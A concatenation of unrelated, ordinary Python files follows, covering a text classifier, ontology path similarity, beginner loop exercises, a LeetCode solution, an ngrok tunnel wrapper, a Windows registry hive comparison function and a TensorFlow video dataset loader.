    return l2

# probability threshold
ERROR_THRESHOLD = 0.2
# load our calculated synapse values
synapse_file = 'synapses.json'
with open(synapse_file) as data_file:
    synapse = load(data_file)
    synapse_0 = asarray(synapse['synapse0'])
    synapse_1 = asarray(synapse['synapse1'])

def classify(sentence, show_details=False):
    results = think(sentence, show_details)

    results = [[i,r] for i,r in enumerate(results) if r>ERROR_THRESHOLD ]
    results.sort(key=lambda x: x[1], reverse=True)
    return_results =[[classes[r[0]],r[1]] for r in results]
    # print ("%s \n classification: %s" % (sentence, return_results))
    return return_results

print()
print(classify("whats the weather")) # [['question', 0.9987833380222648]]


# -*- coding: utf-8 -*-
"""
Created on Tue Apr 21 08:15:51 2020
Script to compute semantic similarity in an OWL ontology. Reads the ontology, extracts rdfs:subClassOf statements,
turns it into a tree defined by a root node (note: not unique, so changes randomly), and computes similarity measures based on least-common subsumer (LCS)

@author: Schei008
"""

import rdflib
from rdflib.namespace import RDFS, RDF, OWL
from rdflib import BNode
import os

"""Helper stuff"""
def load_rdf( g, rdffile, format='turtle' ):
    #print("load_ontologies")
        #print("  Load RDF file: "+fn)
    g.parse( rdffile, format = format )
    n_triples(g)
    return g

def n_triples( g, n=None ):
    """ Prints the number of triples in graph g """
    if n is None:
        print(( '  Triples: '+str(len(g)) ))
    else:
        print(( '  Triples: +'+str(len(g)-n) ))
    return len(g)

CCD= rdflib.Namespace("http://geographicknowledge.de/vocab/CoreConceptData.rdf#")
def shortURInames(URI):
    if URI is None:
        return None
    elif "#" in URI:
        return URI.split('#')[1]
    else:
        return os.path.basename(os.path.splitext(URI)[0])

"""This method takes some ontology in Turtle and returns a taxonomy (consisting only of rdfs:subClassOf statements)"""
def cleanOWLOntology(ontologyfile= 'CoreConceptData.ttl'): #This takes the combined types version as input
    print('Clean OWL ontology!')
    ccdontology = load_rdf(rdflib.Graph(),ontologyfile)
    taxonomy = rdflib.Graph()
    print('Extracting subClassOf triples:')
    taxonomy += ccdontology.triples( (None, RDFS.subClassOf, None) ) #Keeping only subClassOf statements and classes
    taxonomy += ccdontology.triples( (None, RDF.type, OWL.Class) )
    n_triples(taxonomy)
    print('Cleaning blank node triples and loops, as well as nodes intersecting more than 1 dimenion')
    taxonomyclean = rdflib.Graph()
    for (s,p,o) in taxonomy: #Removing triples that stem from blanknodes as well as loops
        if type(s) != BNode and type(o) != BNode:
            if s != o and  s!= OWL.Nothing:
                #if p==RDFS.subClassOf: #Removing nodes intersecting with more or less than one of the given dimensions
                #   if testDimensionality(s,dimnodes,taxonomy)==1:
                taxonomyclean.add((s,p,o))

    n_triples(taxonomyclean)
    return taxonomyclean

"""Measures the size of a taxonomy's set of nodes and detects leaf nodes"""
def measureTaxonomy(g):
    leafnodes = set()
    nodes = list(g.subjects(predicate=RDFS.subClassOf,object=None) )
    count= 0
    for node in nodes:
        count +=1
        if not (None,RDFS.subClassOf,node) in g:
            leafnodes.add(node)
    print("size of taxonomy without roots: "+str(count))
    print("leafnodes: "+str([shortURInames(l) for l in leafnodes]))
    return (nodes,leafnodes)

"""This method takes a taxonomy (a graph of raw subsumption relations) and an arbitrary root and generates
a tree with unique parent relations towards the root for each node. Uses rdflib's built in get_tree. Note: not unique!"""
def getSubsumptionTree(g,root, leafnodes):
    print("Root node: "+root)
    tuplelisttree =  rdflib.util.get_tree(g,root, RDFS.subClassOf)
    nodedepth = {}
    parent= {}
    visitednodes = set()

    depth = 1 #Root node has depth 1
    tuple = tuplelisttree
    #print(tuplelisttree)
    #This traverses the tree to generate depth and parent dictionaries
    traverse(tuple, depth, nodedepth, parent, visitednodes)

    print("size of tree: " +str(len(nodedepth.keys())))
    depth = max(nodedepth.values())
    print("depth of tree: "+str(depth))
    #This prints out the path to the root for each visited leafnode, just to test the method
    for n in leafnodes.intersection(visitednodes):
        print(nodedepth[n])
        print(n)
        backtrack(parent,n)
    return (nodedepth,parent)

def traverse(tuple, depth, nodedepth, parent, visitednodes):
    current =tuple[0]
    nodedepth[current] = depth
    visitednodes.add(current)
    for child in tuple[1]:
            parent[child[0]]=current
            traverse(child,depth+1,nodedepth, parent,visitednodes)

def backtrack(parent,leaf):
    node = leaf
    while node in parent.keys() and node is not None :
        node = parent[node]
        print(shortURInames(node))

"""Computes the least common subsumer  for two concepts in a given taxonomy tree"""
def LCS(parent, c1, c2):
    print("Getting LCS of "+shortURInames(c1) +" and "+shortURInames(c2) +"... ")
    node1 = c1
    while node1 in parent.keys() and node1 is not None :
        node2 = c2
        while node2 in parent.keys() and node2 is not None :
            if node1 == node2:
                return node1
                break
            node2 = parent[node2]
        node1 = parent[node1]
    return None

"""Simple path-based similarity measure"""
def pathSim(nodedepth, parent, c1, c2):
    print("\n Measuring path distance between "+shortURInames(c1) +" and "+ shortURInames(c2))
    lcs = LCS(parent, c1, c2)
    print(shortURInames(lcs))
    dc1 = nodedepth[c1]
    print("Depth of "+shortURInames(c1)+": "+str(dc1))
    dc2= nodedepth[c2]
    print("Depth of "+shortURInames(c2)+": "+str(dc2))
    print("Depth of "+shortURInames(lcs)+": "+str(nodedepth[lcs]))
    return (dc1-nodedepth[lcs])+(dc2-nodedepth[lcs])

def main(ontologyfile= 'CoreConceptData.ttl',c1=CCD.Lattice, c2=CCD.Coverage):
    #First get a taxonomy of subsumption relations
    taxonomy= cleanOWLOntology(ontologyfile)
    #Get leafnodes
    (nodes,leafnodes) = measureTaxonomy(taxonomy)
    #Turn taxonomy into a tree
    (nodedepth,parent) = getSubsumptionTree(taxonomy, CCD.Attribute, leafnodes)
    #measure similarity  between nodes in tree
    print(pathSim(nodedepth, parent, c1, c2))

if __name__ == '__main__':
    main()


name = input('请输入名字')
f = open('name','r')
content = f.read()

position = name.rfind('.')
newname = name[:position]+'back'+name[position:]

f1 = open(newname,'w')
f1.write(content)

f.close()
f1.close()


# NLTK
threshold_factor = 1.0
lng_to_NLTKlng = {
        'eng' : 'english',
        'deu' : 'deutsch'
    }

# CSV Settings
csv_path = 'data.csv'
csv_delimiter = '|'

# Upload
temp_file_path = 'TemporaryFile'
uploads_path = 'uploads'
allowed_extensions = {'png', 'jpg', 'jpeg'}

# OCR
tesseract_path = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
lngs = ['eng', 'deu']


for x in range (150):
    print(x)

for y in range (5 , 1000 , 5):
    print(y)

z = 0
while z < 100:
    z += 1
    if z % 5 == 0 :
        print("coding")
    if z % 10 == 0:
        print("coding Dojo")
    else:
        print(z)

w = 0
k = 0
while w < 500000:
    w += 1
    if w % 2 != 0:
        k = k + w
print(k)

for fours in range (2018 , 0 , -4):
    print(fours)

lowNum = 0
highNum = 50
mult = 5
for multNum in range (lowNum , highNum+1):
    if multNum % mult == 0:
        print(multNum)


class Solution:
    def beautifulPartitions(self, s: str, k: int, minLength: int) -> int:
        N = len(s)
        M = 10 ** 9 + 7

        primes = set(["2", "3", "5", "7"])

        if s[0] not in primes or s[-1] in primes: return 0

        @cache
        def go(index, parts):
            if parts == 0 and index <= N: return 1
            if index >= N: return 0

            res = go(index + 1, parts)

            if s[index] in primes and s[index - 1] not in primes:
                res += go(index + minLength, parts - 1)

            return res % M

        return go(minLength, k - 1)


from gsp import glm
import numpy as np
import matplotlib.pyplot as plt
from gsp import core, visual, transform

canvas   = core.Canvas(512, 512, 100.0)
viewport = core.Viewport(canvas, 0, 0, 512, 512)
camera   = glm.Camera("ortho")

n = 600
P = glm.vec3(n)
R = np.linspace(0.05, 0.95, n)
T = np.linspace(0, 10.125*2*np.pi, n)
P.xy = R*np.cos(T), R*np.sin(T)
sizes = np.linspace(0.05, 12.0,n)**2
black, white = core.Color(0,0,0,1), core.Color(1,1,1,1)
points = visual.Points(P, sizes, black, black, 0)
points.render(viewport, camera.model, camera.view, camera.proj)
# plt.savefig("../docs/assets/simple-points.png")
plt.show()


# ngrok tunnel

import atexit
import logging
import os

from pyngrok import ngrok

def ngrok_reaper():
    ngrok.kill()

class NgrokTunnel:

    tunnel = None

    def __init__(self, port=None, token=None, kill_on_close=True):
        self.kill_on_close = kill_on_close
        if kill_on_close:
            atexit.register(ngrok_reaper)
        if self.__class__.tunnel is None:
            logging.debug("Connecting ngrok tunnel...")
            token = token or os.environ["NGROK_AUTHTOKEN"]
            ngrok.set_auth_token(token)
            self.__class__.tunnel = ngrok.connect(port)
            logging.debug(f"public_url={self.url()}")

    def __enter__(self):
        return self.tunnel

    def __exit__(self, _, exc, tb):
        if self.tunnel is not None:
            self.disconnect()

    def url(self):
        return self.tunnel.public_url

    def disconnect(self):
        url = self.url()
        logging.debug(f"Disconnecting ngrok tunnel: {url}")
        ngrok.disconnect(url)
        self.__class__.tunnel = None
        if self.kill_on_close:
            ngrok.kill()


# Напишите программу, которая будет преобразовывать десятичное число в двоичное.
# Есть вариант использовать bin(). Но откажемся от него и применим более простые методы решения.

num_tens = int(input('Введите число, которое будем переводить: '))
num_two = ''

while num_tens > 0:
    num_two = str(num_tens % 2) + num_two
    num_tens = num_tens // 2

print(f'Число в двоичной системе исчисления: {num_two}')


import os
from typing import Any, Set, Tuple

import logging

from regipy.exceptions import RegistryKeyNotFoundException

from regipy.registry import RegistryHive, NKRecord
from regipy.utils import convert_wintime, calculate_sha1

logger = logging.getLogger(__name__)

def get_subkeys_and_timestamps(registry_hive):
    subkeys_and_timestamps = set()
    for subkey in registry_hive.recurse_subkeys():
        subkey_path = subkey.path
        ts = subkey.timestamp
        subkeys_and_timestamps.add((subkey_path, ts))
    return subkeys_and_timestamps

def get_values_from_tuples(value_tuples, value_name_list):
    for value_name, value_data in value_tuples:
        if value_name in value_name_list:
            yield value_name, value_data

def get_timestamp_for_subkeys(registry_hive, subkey_list):
    for subkey_path in subkey_list:
        try:
            subkey = registry_hive.get_key(subkey_path)
        except RegistryKeyNotFoundException as ex:
            logger.exception(f'Could not obtain timestamp for subkey {subkey_path}')
            continue
        yield subkey_path, convert_wintime(subkey.header.last_modified, as_json=True)

def _get_name_value_tuples(subkey: NKRecord) -> Set[Tuple[str, Any]]:
    """
    Iterate over value in a subkey and return a set of tuples containing value names and values
    :param subkey: NKRecord to iterate over
    :return: A set of tuples containing value names and values
    """
    values_tuple: Set[Tuple[str, Any]] = set()
    for value in subkey.iter_values(as_json=True):
        if not value.value:
            continue

        if isinstance(value.value, list):
            values_tuple.update({(value.name, x) for x in value.value})
        else:
            values_tuple.add((value.name, value.value))
    return values_tuple

def compare_hives(first_hive_path, second_hive_path, verbose=False):
    # The list will contain tuples, in the following format: (Difference type, first value, second value, description)
    found_differences = []

    # Compare hash, verify they are indeed different
    first_hive_sha1 = calculate_sha1(first_hive_path)
    second_hive_sha1 = calculate_sha1(second_hive_path)

    if first_hive_sha1 == second_hive_sha1:
        logger.info('Hives have the same hash!')
        return found_differences

    # Compare header parameters
    first_registry_hive = RegistryHive(first_hive_path)
    second_registry_hive = RegistryHive(second_hive_path)
    if first_registry_hive.header.hive_bins_data_size != second_registry_hive.header.hive_bins_data_size:
        found_differences.append(('different_hive_bin_data_size', first_registry_hive.header.hive_bins_data_size,
                                  second_registry_hive.header.hive_bins_data_size, ''))

    # Enumerate subkeys for each hive and start comparing
    logger.info('Enumerating subkeys in {}'.format(os.path.basename(first_hive_path)))
    first_hive_subkeys = get_subkeys_and_timestamps(first_registry_hive)

    logger.info('Enumerating subkeys in {}'.format(os.path.basename(second_hive_path)))
    second_hive_subkeys = get_subkeys_and_timestamps(second_registry_hive)

    # Get a set of keys present in one hive and not the other and vice versa
    first_hive_subkey_names = {x[0] for x in first_hive_subkeys if x[0] is not None}
    second_hive_subkey_names = {x[0] for x in second_hive_subkeys if x[0] is not None}

    found_differences.extend(('new_subkey', ts, None, subkey_path) for subkey_path, ts in
                             get_timestamp_for_subkeys(first_registry_hive,
                                                       first_hive_subkey_names - second_hive_subkey_names))

    found_differences.extend(('new_subkey', None, ts, subkey_path) for subkey_path, ts in
                             get_timestamp_for_subkeys(second_registry_hive,
                                                       second_hive_subkey_names - first_hive_subkey_names))

    # Remove duplicate keys from each of the sets
    first_hive_diff_subkeys = first_hive_subkeys - second_hive_subkeys
    second_hive_diff_subkeys = second_hive_subkeys - first_hive_subkeys

    # Find subkeys that exist in both hives, but were modified. Look for new values and subkeys
    for path_1, ts_1 in first_hive_diff_subkeys:
        for path_2, ts_2 in second_hive_diff_subkeys:
            if path_1 and path_1 == path_2 and ts_1 != ts_2:
                first_subkey_nk_record = first_registry_hive.get_key(path_1)
                second_subkey_nk_record = second_registry_hive.get_key(path_2)

                # Compare values between the subkeys
                first_subkey_values = set()
                second_subkey_values = set()

                if first_subkey_nk_record.values_count:
                    first_subkey_values = _get_name_value_tuples(first_subkey_nk_record)

                if second_subkey_nk_record.values_count:
                    second_subkey_values = _get_name_value_tuples(second_subkey_nk_record)

                # If one hive or the other contain values, and they are different, compare values
                if (first_subkey_values or second_subkey_values) and (first_subkey_values != second_subkey_values):
                    first_hive_value_names = set(x[0] for x in first_subkey_values)
                    second_hive_value_names = set(x[0] for x in second_subkey_values)

                    values_in_first_but_not_in_second = first_hive_value_names - second_hive_value_names
                    values_in_second_but_not_in_first = second_hive_value_names - first_hive_value_names

                    # If there are value names that are present in the first subkey but not the second
                    # Iterate over all values in the first subkey
                    # If the value name is one of those that is not on the second subkey, add it to the set
                    if values_in_first_but_not_in_second:
                        found_differences.extend(('new_value', f'{n}: {d} @ {ts_1}', None, path_1) for n, d in
                                                 get_values_from_tuples(first_subkey_values,
                                                                        values_in_first_but_not_in_second))

                    if values_in_second_but_not_in_first:
                        found_differences.extend(('new_value', None, f'{n}: {d} @ {ts_2}', path_1) for n, d in
                                                 get_values_from_tuples(second_subkey_values,
                                                                        values_in_second_but_not_in_first))

                # We do not compare subkeys for each subkey, because we would have detected those.
    return found_differences


"""
:Date: 2022-02-28
:Author: Quin Adam, Govind Tanda
:Description: Module for extracting features from training examples and serving those features for training
"""
import os

import tensorflow as tf
import cv2
import numpy as np
import pandas as pd

class Dataset:
    class Preprocessing:
        def __init__(self, dataset_path, extractor):
            """

            :param dataset_path:
            :type dataset_path:
            :param extractor:
            :type extractor:
            """
            self.extractor = extractor

            self._raw_data_path = os.path.abspath(dataset_path)
            self.features_save_path = os.path.abspath(os.path.join('../features',
                                                                   os.path.split(dataset_path)[-1],
                                                                   extractor.name))

            # get video paths
            self._video_labels_paths = [(curr_path, files) for curr_path, sub_dirs, files in os.walk(self._raw_data_path)]
            self._video_labels_paths = [(os.path.split(label_tup[0])[1], os.path.join(label_tup[0], vid_path))
                                        for label_tup in self._video_labels_paths[1:] for vid_path in label_tup[1]]

            # iterate through raw data
            class VideoIterator:
                def __init__(self_iter, video_labels_paths):
                    self_iter.video_labels_paths = video_labels_paths

                def __iter__(self_iter):
                    self_iter.video_index = 0
                    return self_iter

                def __next__(self_iter):
                    # if self_iter.video_index < 20:  # uncomment to limit number of vids
                    if self_iter.video_index < len(self_iter.video_labels_paths):
                        x = self_iter.video_labels_paths[self_iter.video_index]
                        self_iter.video_index += 1
                        return {'label': x[0], 'frames': self._load_video(x[1]), 'name': os.path.split(x[1])[-1]}
                    else:
                        raise StopIteration

            # return iterator
            self.data_iterator = iter(VideoIterator(self._video_labels_paths))

        @staticmethod
        def _load_video(path):
            frames = []
            cap = cv2.VideoCapture(path)
            try:
                while True:
                    ret, frame = cap.read()
                    if not ret:
                        break
                    frame = frame[:, :, [2, 1, 0]]
                    frame = frame.astype('int32')
                    frames.append(frame)
            finally:
                cap.release()
            return np.array(frames)

    class Training:
        def __init__(self, dataset_path, extractor, seq_len, train_test_split=.75, enable_caching=False):
            tf.random.set_seed(1)
            self.extractor = extractor
            self.seq_len = seq_len
            self.train_test_split = train_test_split

            self._raw_data_path = os.path.abspath(dataset_path)
            self._features_save_path = os.path.abspath(os.path.join('../features',
                                                                    os.path.split(dataset_path)[-1],
                                                                    extractor.name))
            self.labels = list(os.walk(self._features_save_path))[0][1]
            if '.cache' in self.labels:
                self.labels.remove('.cache')

            # ==== CREATE DATASET ====
            dataset = tf.data.Dataset.list_files(os.path.join(self._features_save_path, '*/*.zip'))
            dataset = dataset.shuffle(1000000, seed=1)

            # train test split by file
            split = round(1/(1-self.train_test_split))  # put every nth example in validation split
            train_dataset = dataset.window(split, split + 1).flat_map(lambda ds: tf.data.Dataset.zip((ds)))
            test_dataset = dataset.skip(split).window(1, split + 1).flat_map(lambda ds: tf.data.Dataset.zip((ds)))

            def process_path(file_path):
                def sub(fp):
                    df = pd.read_csv(fp.numpy().decode('utf-8'))
                    label = self.labels.index(df['label'].values[0])
                    df = df.drop(['video', 'label', 'frame', 'Unnamed: 0'], axis=1)
                    arr = df.to_numpy()
                    return tf.convert_to_tensor(arr, dtype='float32'), tf.convert_to_tensor([label]*len(arr), dtype='float32')

                res, labels = tf.py_function(
                    sub,
                    [file_path],
                    [tf.TensorSpec(shape=[None, self.extractor.num_features], dtype=tf.dtypes.float32),
                     tf.TensorSpec(shape=[self.extractor.num_features], dtype=tf.dtypes.float32)])
                res.set_shape([None, self.extractor.num_features])
                labels.set_shape([None])

                ds = tf.data.Dataset.from_tensor_slices(res)
                ds = tf.data.Dataset.zip((ds, tf.data.Dataset.from_tensor_slices(labels)))

                ds = ds.window(self.seq_len, shift=1, drop_remainder=True)
                ds = ds.shuffle(buffer_size=5000, seed=1)
                ds = ds.flat_map(lambda x, y: tf.data.Dataset.zip((x.batch(self.seq_len), y.batch(1))))

                return ds

            # window datasets
            train_dataset = train_dataset.interleave(process_path, num_parallel_calls=tf.data.AUTOTUNE, deterministic=True)
            test_dataset = test_dataset.interleave(process_path, num_parallel_calls=tf.data.AUTOTUNE, deterministic=True)

            # shuffle
            train_dataset = train_dataset.shuffle(buffer_size=1000, seed=1)
            test_dataset = test_dataset.shuffle(buffer_size=1000, seed=1)

            # split
            split = round(1 / (1 - self.train_test_split))  # put every nth example in validation split
            train_dataset = train_dataset.window(split, split + 1).flat_map(lambda ds, lbl: tf.data.Dataset.zip((ds, lbl)))
            validation_dataset = train_dataset.skip(split).window(1, split + 1).flat_map(
                lambda ds, lbl: tf.data.Dataset.zip((ds, lbl)))

            # batch
            self.train_dataset = train_dataset.batch(64, num_parallel_calls=tf.data.AUTOTUNE)\
                .prefetch(tf.data.AUTOTUNE)
            self.validation_dataset = validation_dataset.batch(64, num_parallel_calls=tf.data.AUTOTUNE)\
                .prefetch(tf.data.AUTOTUNE)
            self.test_dataset = test_dataset.batch(64, num_parallel_calls=tf.data.AUTOTUNE)\
                .prefetch(tf.data.AUTOTUNE)

            if enable_caching:
                cache_path = os.path.join(self._features_save_path, '.cache/')
                try: os.mkdir(cache_path)
                except FileExistsError: pass

                self.train_dataset = self.train_dataset.cache(cache_path+'/train')
                self.validation_dataset = self.validation_dataset.cache(cache_path+'/validation')
                self.test_dataset = self.test_dataset.cache(cache_path+'/test')